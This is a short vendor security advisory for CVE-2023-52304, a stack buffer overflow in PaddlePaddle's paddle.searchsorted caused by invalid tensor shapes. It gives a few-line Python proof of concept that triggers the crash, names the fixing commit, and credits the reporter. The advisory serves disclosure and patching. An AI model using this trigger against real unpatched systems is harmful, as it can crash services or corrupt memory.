CVE-2023-52304
Invalid shapes cause stack buffer overflow in paddle.searchsorted
. The PoC is as follows:
import paddle
import numpy as np
sorted_sequence = paddle.to_tensor(np.array(0))
values = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.float64))
paddle.searchsorted(sorted_sequence, values, out_int32=True, right=True)
We have patched the issue in commit 19da5c0c4d8c5e4dfef2a92e24141c3f51884dcc. The fix will be included in PaddlePaddle 2.6.0.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Tong Liu of CAS-IIE.